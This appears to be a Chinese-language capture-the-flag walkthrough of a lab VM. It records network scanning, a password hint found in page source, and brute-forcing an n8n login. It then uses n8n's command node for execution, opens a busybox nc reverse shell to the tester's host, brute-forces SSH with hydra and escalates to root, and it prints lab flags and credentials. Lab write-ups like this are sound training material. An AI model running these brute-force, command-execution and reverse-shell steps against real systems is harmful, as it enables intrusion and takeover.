外部打点
arp-scan -l
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:07:c6, IPv4: 192.168.0.9
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 30:3f:7b:d5:aa:de Shenzhen YOUHUA Technology Co., Ltd
192.168.0.8 2c:9c:58:8e:96:a5 (Unknown)
192.168.0.12 08:00:27:08:28:cf PCS Systemtechnik GmbH
192.168.0.4 f2:13:09:db:48:25 (Unknown: locally administered)
192.168.0.2 18:ef:3a:66:33:e3 Sichuan AI-Link Technology Co., Ltd.
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.425 seconds (105.57 hosts/sec). 5 responded
前 3 字节(08:00:27)是 厂商标识(OUI),属于 Oracle VirtualBox(虚拟机常用)
PCS Systemtechnik GmbH
确定目标:192.168.012
全端口扫描
PORT STATE SERVICE
22/tcp open ssh
5678/tcp open rrac
8765/tcp open ultraseek-http
MAC Address: 08:00:27:08:28:CF (Oracle VirtualBox virtual NIC)
很奇怪的两个端口,nc 连接看响应
root㉿kali)-[~]
└─# nc 192.168.0.12 5678
ls
HTTP/1.1 400 Bad Request
Connection: close
┌──(root㉿kali)-[~]
└─# nc 192.168.0.12 8765
ls
HTTP/1.1 400 Bad Request
Date: Thu, 24 Jul 2025 04:37:36 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 303
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at 127.0.1.1 Port 8765</address>
</body></html>
看到都是 HTTP/1.1,即两个 Http 服务,端口是自定义的
访问 web 服务
5678 端口开着 n8n 系统 (之前做过,是一个工作流管理系统,可命令执行)
缺失图片:Pasted image 20250724123949.png
这里 email 和 password 不清楚,爆破不了
8765 是 Apache2 Default Page
现在只能先做一波信息收集
在 Apache2 Default Page 里查看源码,找到注释
| |
|---|
|<!-- usuario@maildelctf.com|
|Espero que hayas cambiado la contraseña como se te indicó.|
|Recuerda: mínimo 8 caracteres, al menos 1 número y 1 mayúscula.|
|-->|
usuario@maildelctf.com 我希望您已按照说明更改密码。请记住:至少 8 个字符,至少 1 个数字和 1 个大写字母。
得到 mail,这里的 password 需要生成密码字典
直接从 rockyou.txt 根据规则来筛选,>=8个字符,1个数字,1个大写字母
ai 生成筛选命令
grep -P '^(?=.*[A-Z])(?=.*[0-9]).{8,}$' rockyou.txt > pass.txt
yakit 爆破密码
提示 {“message”:“Too many requests”} ,降低线程数,调整随机延迟
爆破成功,得到账号密码
usuario@maildelctf.com:Password1
就在 pass.txt 的第一个
进入后台,创建一个工作流,组件里搜索 command ,创建组件,输入命令
先测试命令执行的连通性
缺失图片:Pasted image 20250724130259.png
ping -c 4 192.168.0.9
tcpdump -A -n icmp
┌──(root㉿kali)-[/tmp]
└─# tcpdump -A -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:03:44.370866 IP 192.168.0.12 > 192.168.0.9: ICMP echo request, id 15545, seq 1, length 64
E..T.!@.@..!....... ....<......h.....O...................... !"#$%&'()*+,-./01234567
13:03:44.373484 IP 192.168.0.9 > 192.168.0.12: ICMP echo reply, id 15545, seq 1, length 64
E..T.w..@.*.... ........<......h.....O......................
成功执行
反弹shell
busybox nc 192.168.0.9:8999 -e /bin/bash
nc -lvnp 8999
提权
调整一下交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
Ctrl + Z [background Process]
stty raw -echo ; fg ; reset
stty columns 53 rows 236
拿到 user.txt
thl@nodeception:~$ ls
user.txt
thl@nodeception:~$ id
uid=1000(thl) gid=1000(thl) groups=1000(thl),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
thl@nodeception:~$ cat user.txt
THL_wdYkVpXlqNaEUhRJfzbtHm
查看特权命令
thl@nodeception:~$ sudo -l
Matching Defaults entries for thl on nodeception:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User thl may run the following commands on nodeception:
(ALL) NOPASSWD: /usr/bin/vi
(ALL : ALL) ALL
但还是要求密码,可能是配置写错了
这里直接爆破一下用户 thl 的密码
hydra -l thl -P /root/work/vuln/dic/rockyou.txt ssh://192.168.0.12 -V -t 64
得到账户密码
`22][ssh] host: 192.168.0.12 login: thl password: basketball·
直接 sudo -i 切换为 root
提权成功
thl@nodeception:~$ sudo -i
[sudo] password for thl:
root@nodeception:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nodeception:~# ls
root.txt
root@nodeception:~# cat root.txt
THL_QzXeoMuYRcJtWHabnLKfgDi
渗透测试总结报告
1. 目标信息
• IP地址: 192.168.0.12 • MAC地址: 08:00:27:08:28:CF (Oracle VirtualBox虚拟机) • 操作系统: Ubuntu (Apache/2.4.58)
2. 攻击路径
- 信息收集:
• 使用
arp-scan发现目标IP • 全端口扫描发现开放端口: 22(SSH), 5678(n8n), 8765(Apache) • Apache默认页面源码中发现邮箱和密码策略提示 - Web渗透:
• 发现n8n工作流管理系统(5678端口)
• 通过源码注释获取邮箱:
usuario@maildelctf.com• 使用规则过滤rockyou.txt生成密码字典 • 爆破获得凭证:usuario@maildelctf.com:Password1 - 命令执行:
• 在n8n中创建包含命令组件的工作流
• 验证命令执行成功后建立反弹shell
• 获取初始立足点: 用户
thl - 权限提升:
• 发现
thl用户可通过SSH登录(密码:basketball) • 利用sudo权限直接提权到root
3. 获取凭证
• Web登录凭证: • usuario@maildelctf.com:Password1 • SSH凭证: • thl:basketball
4. 获取flag
• 用户flag: THL_wdYkVpXlqNaEUhRJfzbtHm
• root flag: THL_QzXeoMuYRcJtWHabnLKfgDi
5. 安全建议
- 禁用或更改默认/弱密码
- 限制n8n系统的网络访问
- 审查sudo权限配置
- 移除网页中的敏感注释信息
- 考虑使用防火墙限制非常规端口访问
6. 时间记录
• 测试时间: 2025年7月24日 • 总耗时: 约10分钟(从扫描到获取root权限)